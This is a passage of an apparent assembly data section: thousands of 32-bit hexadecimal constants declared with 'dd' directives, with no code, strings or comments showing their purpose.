0BFB3F56Fh, 0D9726B44h, 4BE9E6DBh, 7BDA48CEh, 91760BE3h dd 2A9712C3h, 0F34241D9h, 7C38F3F9h, 1883ACFCh, 0CEFD4C84h dd 0F9C22F1Ah, 546E7730h, 8655B524h, 9DFE71ABh, 0E2CFD862h dd 0F88694B8h, 0AD43EA0h, 3A22E380h, 29E72D56h, 3B70AB58h dd 0EECF57FAh, 0D9C3C8B3h, 3D5FD5E4h, 40499247h, 983D0D73h dd 42170728h, 0FA42E451h, 12B9C708h, 0B415EB9Dh, 57427534h dd 0BD38C936h, 18F3568Eh, 4A44D74h, 0DED24C31h, 1278AF07h dd 0A39E888Ah, 108A4E14h, 2BB05223h, 853E41F9h, 0A4D00D43h dd 0B9F057BFh, 2272180Fh, 0FA2F5580h, 0F102B830h, 0F1B17585h dd 0FFF722ADh, 0F274A340h, 8A82AF81h, 0DFC5742Fh, 2A388624h dd 70DE2795h, 286A8958h, 0FA0A188Dh, 4C981C30h, 0DE79E3B4h dd 0F90B6202h, 6EA77B84h, 431C7E0Bh, 7E4D6753h, 0F0B8EA1Fh dd 552573A6h, 4B8A02B5h, 0FBDAAE3Ah, 2033D069h, 33C7180Fh dd 0C2E58C7h, 0E16363F7h, 2826C506h, 890582F6h, 5939ADC5h dd 0D8270A9h, 80B151B7h, 1F866B98h, 0C9ADE209h, 0ACD835F2h dd 19F471B9h, 1D0CEEB0h, 0FCAC497Bh, 0E2371668h, 232CA2F1h dd 0B9B5485Bh, 5E21EF4Fh, 7E1F2790h, 0D68154A4h, 0B997021Ah dd 1922CC38h, 0BF53CAC3h, 0BB4067BAh, 0A23179D5h, 5E633D54h dd 9E680C02h, 5AE0C7F4h dd 0D3951562h, 0B34C9971h, 0BFBE9C7h, 0F9CCDB75h, 0D04CE1EAh dd 6F7E7541h, 160573F9h, 0DFBE4C58h, 511D141Bh, 0EB6A271Ah dd 46C94443h, 6D3F023Ch, 0E24B6D55h, 3F0F5F80h, 118E3B86h dd 0A88640Bh, 699226EDh, 0D4CE73CDh, 0EBDB329h, 635E1CF5h dd 8FC237A4h, 2A06A841h, 2FE6A495h, 0F3BBC587h, 0B26C3FFEh dd 2FAB9430h, 0D3692924h, 7B6B65A1h, 983E7BA8h, 599CFA97h dd 8482ECC4h, 4FD31E4h, 7400199h, 9C3CDB99h, 0D4CA2A4Ch dd 2F33D39Eh, 59A7E2B2h, 995C5B9Ah, 455C6F88h, 0A399DFF5h dd 57FF55FCh, 3471465Dh, 0DB1B4259h, 0AF635499h, 0E028D748h dd 0C9ADE409h, 72D839F2h, 0A573A874h, 96447B5Ch, 993C3826h dd 6934EF0Bh, 57D73BE4h, 7CA93E0h, 0AA27FF0Eh, 7F95A4ACh dd 96208EE0h, 490C15CAh, 0D1485DB1h, 5918743h, 57439FC8h dd 4EFA188h, 56547465h, 0F195A76Ah, 0EB79F6F3h, 1F350044h dd 36CA3E7Eh, 3DCA7DB1h, 18312B1Ch, 0C3FB125Ah, 2ED1F643h dd 1605EF8Ah, 0DFB65016h, 0B43E0DEBh, 2AB0EE1Eh, 5240427Ch dd 906D8129h, 6969684Ch, 0CA033F54h, 1027F371h, 0F57788ADh dd 0B35922BBh, 14FFF126h, 0E254A84Ah, 57CB2AA8h, 0CCF83BE7h dd 793F63DCh, 831FDA7Dh, 175A172Eh, 72E20186h, 3AED7EC7h dd 5CF1A3C8h, 0F80D7234h, 50A7C9C4h, 1DFCFD19h, 8987E439h dd 8CE02FF4h, 8E6CFF62h, 0C34C8132h, 5E47F7C6h, 24705AD7h dd 0C9445EFEh, 0C4A6A388h, 558C2F84h, 0B96F2D19h, 0B79DF3ECh dd 6ABB2D88h, 0DB4A0192h, 2FB31DAAh, 0E20FAFCDh, 8A035A84h dd 0F19BB6FEh, 7E5BC7B9h, 0D5D395F7h, 0F01E6916h, 0A1BF7788h dd 0C89F16A0h, 6CFF42Fh, 0AB4A0C8Fh, 4D8CA49Eh, 3B521511h dd 45E0C7AFh, 5C4C29B5h, 3D1A03Fh, 0A86436CAh, 5440B607h dd 1C9C3CE5h, 816EEC75h, 7ECCDDCCh, 7DED014h, 0FA4CC033h dd 0BDFB1FC6h, 53BE10C4h, 0C04C1D74h, 870A0F59h, 45056F8Eh dd 0A3907FF9h, 0A963F3E4h, 89A0AE03h, 4242B41Dh, 93C7F294h dd 0D10BD0BAh, 0A3B1B044h, 845D7BAh, 7C2E7FCFh, 0E29A0077h dd 305EE237h, 0B2246881h, 2020CA57h, 4F4127A4h, 0EA1C10B9h dd 94BDBC7Eh, 0D7D74E9Ah, 8644FBABh, 0D56B95C5h, 547A233Ch dd 0B801C2BEh, 98BFF28Ch, 493043E0h, 6585E451h, 8946316Fh dd 1113D1Ch, 0DC369970h, 4EBE1252h, 0ACC5F7C2h, 55B34D5Ch dd 972D4EA5h, 0E02162D3h, 9F99D5EDh, 9151702Eh, 2A971D43h dd 1425CD9h, 641C6DE2h, 0A8B6874Ch, 0F88A3484h, 2E513632h dd 7C2896C3h, 0A219CA64h, 4F857BEh, 0E3220BB0h, 87D81FA8h dd 8FB33A67h, 2A3DA841h, 2FC8A495h, 4706B187h, 33C9040Eh dd 0A96F34FEh, 0AD41B03Fh, 0BC3D3E54h, 0D6A77B9Ch, 0D02B8AADh dd 9F580C18h, 3BE03814h, 0BF5855Dh, 0F768DA55h, 0EDDAED58h dd 90CFC69Fh, 0C90D4Fh, 6F7EA692h, 0E9FA90DDh, 60733AB0h dd 18660C56h, 2EFB22DDh, 384AB706h, 6C91D928h, 0B6565C45h dd 3536207Bh, 215173F2h, 78B4636Eh, 965A750Bh, 14475C26h dd 0B1322877h, 0D4FC0323h, 79E90A25h, 0D5E404CCh, 7BE5B6Ah dd 0D97A9554h, 0BA372053h, 4AA4C528h, 42715D7Bh, 6705B9C8h dd 116FA5F8h, 9BFFAF4Dh, 287A1BB0h, 0FE9D8460h, 98D51676h dd 8042D08Ch, 9122BD86h, 75CC2C80h, 10605EC4h, 78CDB10Fh dd 558E36ABh, 0A48E95D5h, 0C889F36Ch, 1784E225h, 4242AA01h dd 2FB33A9Dh, 4E70CF1h, 9075C95Bh, 0A9E42679h, 0AA8EED8h dd 7E09244Bh, 0EB071EF5h, 4332622Eh, 0CCD9698Ch, 73D848F4h dd 71081430h, 0F72B2D56h, 870F6A95h, 4781110Dh, 0D2E88538h dd 1518743h, 0E1CB2D17h, 7ADAE2A8h, 4F07FF9Bh, 69BDD14h dd 21B8ADD6h, 876504D8h, 0F3C99570h, 74C2292Dh, 13CC52A7h dd 0B4B3E2B1h, 0F2D236E4h, 952F8454h, 4912C41Eh, 0D7FD0CD1h dd 0CA58F1BAh, 0D1425CA2h, 2AB3386Dh, 37F00F41h, 3642B4DDh dd 3F5B7119h, 8D89B138h, 0E44A6542h, 30BC7A92h, 0F7CCB863h dd 0CCD922E4h, 4C9569FBh, 2A3EA841h, 14D6A495h, 0C70648D1h dd 47E1110Dh, 0D2F88538h, 6B18743h, 51839FC8h, 869A184h dd 0B0E8AF95h, 65851900h, 2D418260h, 5ABEFCCBh, 0F3C88F73h dd 0DBCEF025h, 641AC361h, 5C5C757h, 7B783A19h, 9DFD2AD3h dd 0C3439A8h, 811E0CA9h, 0C2B0A1A9h, 52424116h, 31D4B932h dd 0E070D206h, 0C9AD8C09h, 0ACD869F2h, 19F4C9B9h, 0C10C3ED0h dd 14FC614Eh, 0D3E2077h, 5580E057h, 0FA0E3267h, 0C2077EC4h dd 832F5A6Ah, 0DF1EC788h, 7DA905F5h, 5E039D3Dh, 5391802Fh dd 7BD89141h, 8A64F6CFh, 59E8006Eh, 72C622AFh, 0AAFA00E1h dd 5F35009Eh, 32ED4AF0h, 2DCBEAA6h, 6C375364h, 0B28F2449h dd 2F683E38h, 4210900Ah, 3A76C504h, 91AC7148h, 2BB32591h dd 2FC15D79h, 0E83730F5h, 0E00F5EBCh, 4256740Fh, 99DE2F2h dd 76AB6DBBh, 0D3D35174h, 0E4BC9ADAh, 0E3CFFDFCh, 248CD66Ah dd 8FC73799h, 0ED006ACCh, 74D254D0h, 0D6C14ED1h, 51A104F2h dd 5B9BFD6Ch, 3F19A03Fh, 0E47F85AFh, 8C613105h, 0AFB6F518h dd 0F095E558h, 0DA5237AEh, 4F801C17h, 0D98874h, 1CC2E5ABh dd 34D8F371h, 40485E8Fh, 78D2B024h, 55C390A3h, 1FA1CFF0h dd 91760CDBh, 0E73236Eh, 5AF75992h, 692832EEh, 0E00F5A45h dd 11F8F1BDh, 99DE6B4h, 0FD7F2109h, 37264DB5h, 7412FE17h dd 69CBCDFCh, 2325A2A8h, 0C8BB485Bh, 25F84147h, 0BE2BB623h dd 0D77B4ED0h, 785E3D86h, 5EEB9530h, 0AC81AB4Ah, 0A2BD2254h dd 38A4779Ch, 23EF764Bh, 0BBEEFBB0h, 5B434ECFh, 5BBE0564h dd 0B2CE81E6h, 7FD660BEh, 67CB96EAh, 4B4F9448h, 87A74FA9h dd 51012CD6h, 0D79A800Eh, 51F5F49Eh, 0D2F5297Ah, 2EB22002h dd 7C70232h, 0F5847D82h, 0D98B348Ch, 78DA737Fh, 0A88DF0Bh dd 3CDF4A4Bh, 0D2F93126h, 67B26C34h, 1BD3AA57h, 702693E1h dd 3BEEEB33h, 73DF5B16h, 37F49E45h, 456501F3h, 1B726AC7h dd 0F7742B9Bh, 0DE158511h, 0C6F4F270h, 5E2A0B28h, 97A1BAFh dd 62FC4C85h, 6F20FFCEh, 2AD9898Eh, 9D4F01EBh, 0B9CC8E15h dd 504CE014h, 78B1F664h, 16F83355h, 3664AF9Dh, 1C7666E2h dd 7AE2001Bh, 2B61852h, 3CA476E2h, 1D6F4C3Ah, 90F2C84h dd 0BC537786h, 1329590h, 1FAE083Fh, 0F8BCAA25h, 0E233B752h dd 0DE229CA8h, 0C450B1D1h, 37E954C8h, 5934E11Eh, 0D7734E2Eh dd 0CF9AFC71h, 5A801528h, 0D31B4B37h, 49807E0Ah, 4B2F7288h dd 5D94B8EDh, 4F09EB53h, 33463814h, 2F340896h, 37DC7623h dd 0E2DAED52h, 80BA8838h, 3FC5DE16h, 870A0F63h, 45056F42h dd 0DFBDF4DFh, 967E91D7h, 5EB0B05Fh, 0CF76D6BCh, 7C393421h dd 9E8C4BAEh, 0C3FE3D8Ch, 0A9D4357Fh, 8470DCFh, 50D8A5B4h dd 89FDDA02h, 0F2322F7Fh, 0DCDEDFADh, 0FD170EA4h, 0B7079F11h dd 6CDBA39Dh, 0B56A681h, 7DD8FB0Dh, 59D3083Ch, 5371B03Eh dd 21C37A41h, 0E598B277h, 2ED4A433h, 1485C32Ch, 623A2262h dd 0AC625392h, 1642993Eh, 9DC82AB7h, 0A733D366h, 428B091Eh dd 872DB3EEh, 950D32CFh, 2866C9F8h, 9D3387F8h, 0A3B4F0A3h dd 5ACB51CCh, 191A0969h, 651FB3F3h, 408D4A4Dh, 0EA52343Ah dd 0B0FC04B8h, 0D55B42ACh, 2C7999AFh, 62367C55h, 3FAE9F93h dd 89A57E21h, 0EC41DC45h, 392FA495h, 576BB1C9h, 81FC26C9h dd 0DB937E7Bh, 0DA56D4F6h, 0B0CA3B89h, 0BEFE204h, 25170075h dd 430FA788h, 4E8263h dd 0F09F7DBh, 0B34D8107h, 0F4F6E9DBh, 91B30A13h, 0C3391DBDh dd 22558A3h, 0D0011B8Fh, 9B663AC0h, 9176F4BEh, 1130A03Eh dd 0B94F29B9h, 6FB271A8h, 197B7B79h, 3CFE36B8h, 0F6D84C72h dd 0F577D0B4h, 9A2626B4h, 9FF20526h, 0B2BDE432h, 0D08E56ACh dd 0CA593F2Dh, 0ED01EBD8h, 7CA758D0h, 28564ED1h, 0FC320619h dd 2AE7AEB8h, 8E8A20C6h, 64F73C35h, 49E4F28Bh, 0D094D414h dd 57F1E4B0h, 0A4B8BC1Bh, 0FC76038Bh, 9F8C4FA3h, 0DDCAED2Fh dd 0E9F4D78Dh, 404C1BB6h, 4ED8EE9h, 19059F35h, 19EF0509h dd 7A99FCFBh, 5E78E501h, 138A575Fh, 0E76732AFh, 0E0EE4380h dd 4CC1C00Dh, 733A0C32h, 81C78833h, 6E062EBAh, 29331426h dd 0DEB4BC57h, 28D96AA1h, 71AF34B8h, 0AB1E60CCh, 0FDA7D05Ch dd 0F4E90F19h, 9EF2147Ah, 0DD8B6A20h, 0D36ECAD7h, 0D709FFB8h dd 8AC7B8Eh, 2517FFA3h, 477AFC05h, 7D46E262h, 13488321h dd 98C6FCF3h, 6D47E2EAh, 60665863h, 0C04C1982h, 0C2A6BBEAh dd 4905805Eh, 18A6CC2h, 910840C8h, 2A969C93h, 7415E79h dd 80BBD7A0h, 0E0135B49h, 0DC7D6FD7h, 0E9A88702h, 0CB97CEB9h dd 0FF81E0B4h, 15799022h, 23C42DFAh, 0A88BA057h, 0FC6C8A4h dd 0AF1F1430h, 0B35C5020h, 0F1AC32Eh, 72489A2h, 0B49BFF68h dd 0A019F63Eh, 207F85B8h, 0D6FE642h, 57427485h, 1907E0B5h dd 1539D53h, 0C4BC58C1h, 0BBC53B6h, 5122EF45h, 75CC299Dh dd 10B452C8h, 0D7D1E266h, 9BF932C7h, 0F367691h, 6CA20545h dd 0EE321F11h, 0AE04550Dh, 9A5D96A1h, 0FD9C4AC5h, 0D986CCF8h dd 152926ACh, 4AAAC76Dh, 97BB9DB4h, 159E3DABh, 88B08877h dd 2D477A21h, 0DE85E4ACh, 0DB640133h, 125B495h, 0F29BCB29h dd 0EC21A5FAh, 5BE28539h, 0D09467C1h, 0A0407A45h, 0A39CAF0Fh dd 2BCD7664h, 0CBC51BF8h, 8FB9C597h, 0E458CE7h, 47F4B3F3h dd 81BFEEACh, 0D7B32466h, 4BAE6044h, 0D76D5FB1h, 0E9ECF1A6h dd 9BEE5C6Eh, 918109B8h, 0AE8C23EEh, 52505ECFh, 6D4E3DDCh dd 1FEEF3ADh, 9471627Bh, 7092940Ah, 0AFF83EAh, 95E705F4h dd 9800C426h, 0E7B06907h, 49D0AB95h, 0D60EBE5Dh, 1887C5E5h dd 1EBFA01Dh, 61228E55h, 3AA605AAh, 5E4015CAh, 0ABF7714Ch dd 5748DB44h, 0EDFE282h, 221D8B89h, 0B2D51C6Dh, 0F644AA4Eh dd 0AC6B5E6Eh, 0E094673Bh, 8CA90A4h, 535931E2h, 40AB3734h dd 0F315C795h, 0E9615710h, 5C671458h, 0B4FEC9A3h, 2AB263CEh dd 148345Ah, 9AE6E3Fh, 81B272Dh, 3601FA47h, 5F266ABh, 0F4C6BC30h dd 1B5A185Fh, 972AA1DEh, 0C9074927h, 0D7C0E724h, 0C959A35Bh dd 9D6A143Bh, 547028A8h, 44E11EC1h, 0CB781619h, 0D95B95C1h dd 2EE9309Bh, 21D4855Bh, 536405CCh, 6287C2F6h, 5A85F420h dd 0CEF445AEh, 7F37E9A0h, 0DA228BF5h, 5122EAC0h, 35CC2A86h dd 0C8099A9Ch, 7FEC43D6h, 495CA0EDh, 11EC7F37h, 9CFE295Bh dd 2AB223DEh, 9162B470h, 0FCB6A9B9h, 708BDCD5h, 59628514h dd 0AC1F3362h, 18555DB9h, 0C04D26A8h, 99728CADh, 0DFF8A44Ah dd 0D8B55FB8h, 83B536CEh, 0B37B14ECh, 3C8A5205h, 498F2481h dd 7B3C74E7h, 27D73629h, 6EF4B038h, 0B8EA193Eh, 1200B713h dd 9BE173A8h, 247AB408h, 3EB93B0Fh, 2A41C13Ah, 0C33DF6B4h dd 0E8CAE83Ah, 0DC765166h, 0B6C01AD4h, 0BBA08787h, 9D03BC16h dd 5C91B858h, 1C89E4A3h, 3F39FDAAh, 423F2E09h, 9AAD3562h dd 2A1C5CC5h, 0CD84C6BDh, 0EC6C65C3h, 0F48EB05Ah, 0C43B7DA4h dd 6AAF3E70h, 5A9E088Ah, 4CC3EB68h, 0DA83E854h, 0D525F845h dd 7194DB18h, 0AA08AB58h, 0DE4257EBh, 519C9A2Ah, 0D314283Dh dd 2C4C3FC2h, 7EF0AD9h, 0E2177419h, 0B07BA199h, 2A40E656h dd 0EA3A018Fh, 0F3C98A3Bh, 0FDC69429h, 0A9B8C01Dh, 0F041864Ah dd 0C3D9367h, 16E19B0Bh, 0D56FCD71h, 514609E3h, 2AB02F57h dd 4243DBB9h, 0E73E4DA9h, 57105B10h, 0CB63E9C1h, 0F68BF279h dd 920BF586h, 2F5D273Dh, 0E5050ED8h, 0DE0D809Eh, 39BC5FA8h dd 349F41A4h, 0BC76EC89h, 3C568195h, 0D6BA4ED1h, 0CFB104F3h dd 0B84A7D2Dh, 0AF765FC4h, 0A5007A62h, 941B3A19h, 8517FD3Ch dd 0CBC05307h, 0ADBF26DAh, 0E13AF9AAh, 0DC2B09A7h, 54AC3923h dd 0C1B3262Dh, 31A70AA3h, 71D5DA0Ah, 1A732718h, 539F11F6h dd 18112D75h, 77589DCBh, 5DC69CD2h, 8C0638DFh, 0DCE14FC5h dd 0C9EE1044h, 0BC1CBA87h, 0F430A3C8h, 0F1648D37h, 0DDC4A4AFh dd 358E3532h, 33849490h, 98DE01ABh, 0E66143Ch, 349044A8h dd 0ED903BD1h, 6DB6FCB6h, 9EEB163Eh, 0D1D4295Ch, 0A73D3F89h dd 998CE173h, 41E800EDh, 3785CE00h, 0DD71450Bh, 5F34B136h dd 6EB40AF5h, 0BE8A9FAAh, 1833D114h, 0C8198253h, 796810E4h dd 9D04367Ch, 9B01702Ch, 9174CB89h, 0D4CEA0F8h, 95342C79h dd 6C22CC6Ch, 0EE084E45h, 891A540Fh, 7D97EE7Bh, 24BFA465h dd 1B6F103Dh, 7192E563h, 260FA876h, 873EA7EDh, 450CDEB4h dd 47A0EB33h, 0C92A461h, 7A82CDD1h, 708771F3h, 0DC90817Bh dd 0BFF1470Ah, 42B467C5h, 746DE296h, 2613A790h, 29851ED8h dd 3BB97134h, 47350D3Fh, 83C8A6DCh, 0DB7692Ah, 0A72DAB69h dd 0F743130Ch, 85A479C6h, 1912E297h, 3A9A31C3h, 2972AF5Ah dd 0D54C1D90h, 523CD1F0h, 9168B1E9h, 0D4965EF9h, 4226A48Bh dd 0F4728F6h, 0B12FB430h, 0E47BD858h, 0EFFE8A02h, 2DCA0137h dd 0C9CD6F95h, 32C9CAA4h, 0B06BEC89h, 0E8C92F95h, 44FFC5B7h dd 0E9EC8D95h, 652B1059h, 0C83C4826h, 0AA8785B2h, 7C64F2BEh dd 69E8379Eh, 3B85E749h, 0E8FC7124h, 0ADB4C096h, 0B3C98575h dd 0F5C2116Bh, 0EC9A223Ch, 0B44C05D8h, 0C29A8C9Fh, 0E906AAE0h dd 0EA687B8Eh, 417D7F8Eh, 0D4F62B18h, 0A079AE5Fh, 76582BA9h dd 1FA2FE4Ah, 2B1BD10Dh, 0FE876EFAh, 0F4B65F15h, 0F6194CB4h dd 929DE1AFh, 2F699632h, 88C22DEDh, 0F2AB22D0h, 7A5D9434h dd 5961A9E1h, 6BAB129h, 3B654134h, 36FB953Fh, 0AFC3E5C2h dd 0BC84756Ch, 0FC1B0D6Dh, 0F517F76Ch, 35D06CE2h, 0E8FC4DBDh dd 0BC378B19h, 14C699E0h, 5F43156Fh, 0A32789E2h, 26B146EEh dd 0E12BCD04h, 16F8FA83h, 19A09D78h, 9174AD0Bh, 0A1B7894Eh dd 7B7219Ch, 0E5FF1265h, 0A462A180h, 2557476Ch, 0A3E772AFh dd 18C579B9h, 26F41E8Ch, 5DB23163h, 9977CB8Bh, 374113D4h dd 4A36C8E3h, 965A91E8h, 691BB495h, 0A2FC6B2Dh, 5B99023Ah dd 90CD4CD6h, 0D3542B34h, 0A59882D0h, 7F66DB14h, 459BF015h dd 0B485E7E6h, 0EA3A3A8Eh, 84B90D3Eh, 0D0C98DF3h, 32C59C53h dd 6C33DBDCh, 14C925A4h, 0C3D8B69h, 6E869747h, 7813C833h dd 1A7C0860h, 6031360Eh, 4673D0F8h, 0E7227EA2h, 0E52ACB4Dh dd 8C59150Dh, 0A0638E6h, 1D4694B8h, 9018B31Dh, 937714ADh dd 0DFCDAB67h, 8C494F21h, 0F6A85158h, 37EA7236h, 0A95DC263h dd 0BDEF4E28h, 31020CA8h, 95566A0Fh, 0EAFAF0BAh, 52682A6Ah dd 0FDE4F35Fh, 4392F72Dh, 7EA6A57h, 0C63AC1FBh, 215CE540h dd 6429135h, 0A7B25C23h, 0A72C4702h, 4AC7530Eh, 0E29F60Ch dd 0EA579C0Eh, 9611658Ch, 186D9632h, 77311263h, 0D947326Dh dd 169932BCh, 0F9B839FFh, 421A4B0Fh, 0FE0636F8h, 0AEED9EB9h dd 6A713648h, 954B0CAFh, 9464FC2Ah, 3DCBCA23h, 244B8DDEh dd 0BA359FD5h, 0A6E7AE19h, 4DE1C7DBh, 0D202F8A7h, 0E0E61CD8h dd 0C4A5FDC6h, 0A715F17Bh, 0BFE7F9C7h, 71D76E9h, 0D20C1B01h dd 0F1780A62h dd 0DF788580h, 0F83DCCFCh, 0A0412DE6h, 1C7DBA9Ah, 4BB800D3h dd 0DAA6C3C5h, 0E64BE6F2h, 0D66C9988h, 0CCF9FDB6h, 0A3B02BCAh dd 17B95DE1h, 5660BAA1h, 6AD33E2Dh, 0C18117C1h, 90DBEF79h dd 48795AB9h, 1B892C66h, 300B0EDh, 8A85E0FEh, 378534ACh dd 37A23FE1h, 0B11476F7h, 0F46EE119h, 0D2BFC5DBh, 27ECE76h dd 0D96A1CF2h, 0B74A6184h, 0F38972E9h, 0F2C6184Eh, 0CD9DF7A4h dd 71F1DB72h, 73C3FD9Fh, 1F7087EBh, 3B42983Eh, 5400542Fh dd 0B3CBF1A5h, 18C553D3h, 8F68B48Dh, 9D023783h, 224A511Dh dd 14765218h, 0A1AC11CEh, 2B9D21Ch, 6D51B77Dh, 6AC5034Ch dd 0CDC80CC1h, 0C83C94E2h, 910EC9BBh, 9040ED43h, 962E1526h dd 8207C032h, 0A28992BCh, 0C636FF2Dh, 0AAA80088h, 698B8F82h dd 80EB0B58h, 0DD414409h, 1B98E120h, 781AA80Bh, 0AA8AF773h dd 0F270BBC1h, 8AD1EBA0h, 420EC750h, 16E94A83h, 1E214154h dd 399193Fh, 2D8F68A4h, 6475BA3Fh, 0D1E9B105h, 43AE3B8Ah dd 12C99602h, 1813E419h, 0AB0B4E03h, 0A1A05772h, 58BA562Ch dd 0E51EFBAAh, 1D82C14Fh, 1233C80Dh, 7F47F67Bh, 86FD646Dh dd 1390C03Fh, 680AAB5Ch, 0C159236Fh, 63405523h, 0C029BEACh dd 0EBE4E894h, 0A72F2D6Ah, 1D33135Ah, 0F4348FBAh, 0BAA1EFA0h dd 0FD7AB83Bh, 288AF16Ah, 726DFB87h, 4EBA672h, 440C1F71h dd 92E44853h, 52BE1AD4h, 80C31B39h, 1743DAEAh, 0A5CC67E4h dd 0C9976684h, 0DAA4CFC6h, 0FE4BFCE0h, 0D474A99Eh, 0CCFA065Eh dd 0C2F46902h, 0DBDD8792h, 318CD5A4h, 998C129h, 40EA470Fh dd 0F2FF34FAh, 772EC1BBh, 0E6D0A7CCh, 15FE0A3Dh, 950780FCh dd 0AE0616ACh, 98AA6513h, 5DADDF44h, 0CE642D8Dh, 0C5304A8Bh dd 9C614175h, 6509AF59h, 20942B52h, 0F0CB72EEh, 77AE7A40h dd 599E2D4Bh, 0F0442CB9h, 0F3B148B4h, 10DE0947h, 0B9C1D5FEh dd 9F6E5EBh, 960C331Bh, 85C74421h, 0C25A89Ch, 0DC8F4B56h dd 5510DF20h, 1A77D692h, 0DDDFAABBh, 52386279h, 3C8F7DDDh dd 64D7CE41h, 4C7E6E56h, 7C8CCB32h, 8F0A9075h, 0CBE481C0h dd 58709953h, 0D85CE37Fh, 29CD9525h, 2AF23ECh, 8A69D2D9h dd 572B2FA2h, 1BC31E58h, 74D805B4h, 443E1E35h, 2021EDC3h dd 0ED8B6A68h, 6FB4784Ah, 8803B27Ah, 1DD56EE2h, 66FC7654h dd 0FF70862Fh, 33F87BE4h, 9949DF25h, 0AF6BDD7Bh, 5C753ACh dd 0BD55AFADh, 9D142D9Ch, 571218B8h, 187B6F20h, 0D2FBB8C4h dd 0B9D08904h, 6052AA79h, 205A774Eh, 14747D8Ch, 0AB6A19B3h dd 1683E1D0h, 0D6731569h, 12DCF12Eh, 958A4865h, 0A5309CCEh dd 0A7E9D0h, 0DEAD72C5h, 23C8A494h, 0AE56C5C6h, 0D1CD5475h dd 0DBC2946Bh, 3E542B5Ch, 81D07EADh, 36EFCDABh, 0BAE099FDh dd 9B85E518h, 0BAFC4B5Fh, 0F2215D2Bh, 9B4092BDh, 0A98F53B2h dd 472031B6h, 85C74F44h, 0C7DA4DAEh, 620651EAh, 55DCAFFAh dd 1C671E20h, 62332494h, 466ADFEDh, 4C1625EFh, 6AD339CEh dd 84F9E1D4h, 7F45E2E6h, 40D92860h, 184865F1h, 0CA24D963h dd 0CF0A39C8h, 4FC09B2Bh, 432D353Dh, 9D535146h, 0A670E424h dd 4E8C9296h, 0AA450B96h, 505B9521h, 0D305CAB0h, 0A3EC82E9h dd 72E410DAh, 781C8089h, 85E73B65h, 0AE492950h, 22BE0D80h dd 0B23110EBh, 6549EF52h, 0AF4A4E04h, 0CC433E57h, 872D177Dh dd 6CDBD557h, 5D18B0EAh, 5A9A6EB3h, 0A1BAE5AEh, 42A4D8DCh dd 0E505E26Ah, 1D8FF7D5h, 427EB30Fh, 0F40FD5B2h, 0F6E418D9h dd 9F7DF6B4h, 0E037D1ADh, 449A8173h, 0F04263EAh, 717F3CACh dd 5DD1C544h, 0AE4B5F53h, 4253C7DBh, 9CCB0C16h, 1F6E1E26h dd 0E8D2B0C0h, 2650F36Dh, 27EF0F1Eh, 0D4457485h, 380C3699h dd 23A63BABh, 6B6D84E8h, 0F3C8779Eh, 0F18F52A6h, 2EB32BFBh dd 4B5CC4AAh, 0C2A6EFF2h, 26472BDEh, 97704668h, 1A730EBAh dd 3A31A9FBh, 0DB2A963Ah, 9052ABB9h, 6AD73ACEh, 0CBE3C7C4h dd 0F69E571Bh, 0FAB3BB30h, 51DB753Fh, 0A9E47822h, 8B801425h dd 948954A0h, 962CBEC2h, 8A591558h, 0B45AE119h, 52C5CDC3h dd 0EE3A1476h, 5B7E1EDAh, 2281E0C0h, 0AC7B936Ah, 286FF35Ah dd 6607748Dh, 0E50CE3CAh, 2D459291h, 17BE0585h, 0ACB1B87h dd 0DDCAD847h, 273C7DFBh, 448EC8BEh, 0C2A60F28h, 0EA5533D0h dd 96108574h, 186CD502h, 2EE3EC86h, 0D92690D2h, 685BAB61h dd 0E928A4F4h, 426AA80Dh, 0B450E1A7h, 0F6862404h, 9B3DE6B4h dd 1B7C6240h, 0C6CE4367h, 20DD4F23h, 0B72FA3E9h, 0E4564444h dd 3F152FEAh, 6BDAA683h, 183A04FFh, 92087C2Eh, 6E1AA04Ah dd 97B8FA67h, 0FEE0FC34h, 6D17FF85h, 0E70EEB45h, 2BBD0289h dd 4FBCDA75h, 18C1C77Ch, 7D410EE3h, 7C72B08Dh, 43440C22h dd 0F22D0BDAh, 1E523BD0h, 0E589263Eh, 1A60CE22h, 6F322DDBh dd 7E55D6B1h, 0E7175D29h, 0B3287610h, 36AA7294h, 0F5536BB2h dd 7F6F5D30h, 0A77385F1h, 0A87D54ADh, 0A3598427h, 0BA89D4A8h dd 97BADFF4h, 46C4EB32h, 0D7172D9Eh, 660B8E56h, 77794174h dd 81909D73h, 2221895Ah, 0A46BB62Bh, 0E7ECB6DDh, 0A29ED3D9h dd 35C06D34h, 156985B3h, 12BEDE45h, 9F8B1BFFh, 5841B9CDh dd 0AF20B57Dh, 50C5436Bh, 0D7D14528h, 460FCD57h, 5D92BE1Dh dd 99B46DD3h, 6FC624EBh, 0B9D21D9Ah, 6448A8ABh, 6CB12E4Eh dd 81EFF3CEh, 0E32266E6h, 0D3B620F6h, 0D933765Fh, 37E58A2Eh dd 408AC2FAh, 0D44A8BE0h, 705BB7B4h, 9601A2C2h, 0EC84E11Bh dd 0DE3E89D4h, 1CA904DAh, 99FFD0ACh, 27597808h, 9804B7Dh dd 0AF391FDCh, 0E0304316h, 0AE85E6FCh, 763A25BBh, 18635D18h dd 38C1CF9Ch, 3EE1EE25h, 0F47314E5h, 0EB500583h, 0C40625EFh dd 3E44A7FAh, 3B65C978h, 9548DD2Ch, 0A9E8F17Eh, 2C2D6944h dd 907928E4h, 1F273DAEh, 0E6D85A4h, 0F75B17B7h, 0F3552030h dd 0D921B53Dh, 0DB90BADEh, 364EAFFEh, 0C01DF9D6h, 6830DE64h dd 0A8495746h, 9856F76Dh, 4DFA4217h, 89938DF3h, 33FEE1E7h dd 63DA903Eh, 3BFFB2EEh, 6FE4F2BAh, 179201B4h, 86065E8Fh dd 0BDC7C03Eh, 67214DEBh, 0F3C5D7FCh, 0DC6982Dh, 2F386C8Eh dd 13C1496Ch, 22F8AA1h, 9D0FF400h, 1E9890CEh, 127865D3h dd 9D525B86h, 0D12C55D8h, 120C3B12h, 0F9D4F288h, 37D9B86Fh dd 307687D2h, 0F696E475h, 99334DB4h, 667CD1AFh, 304EC38Fh dd 574FD821h, 1F6791DAh, 0EA42FD2Ch, 4F54E719h, 957B1D2Ch dd 6F14083Bh, 0D7C91C2Bh, 0AA14D485h, 5A2B4A17h, 869B3BD0h dd 0E217FEF5h, 90018DDh, 0E93A785Dh, 144B0E6Ch, 3D5D1DCh dd 0EDDA986Ch, 3C3C7F7Dh, 43441754h, 0D4A00D6Ah, 93050DCEh dd 0D691E849h, 0D271A2A8h, 0A64CAF6Eh, 61C5EA31h, 0EF0FA328h dd 9FA6583Eh, 0E92B76C9h, 9F0B719h, 31476E10h, 9CE94DF1h dd 25FE5126h, 8DC2D8FEh, 570FD450h, 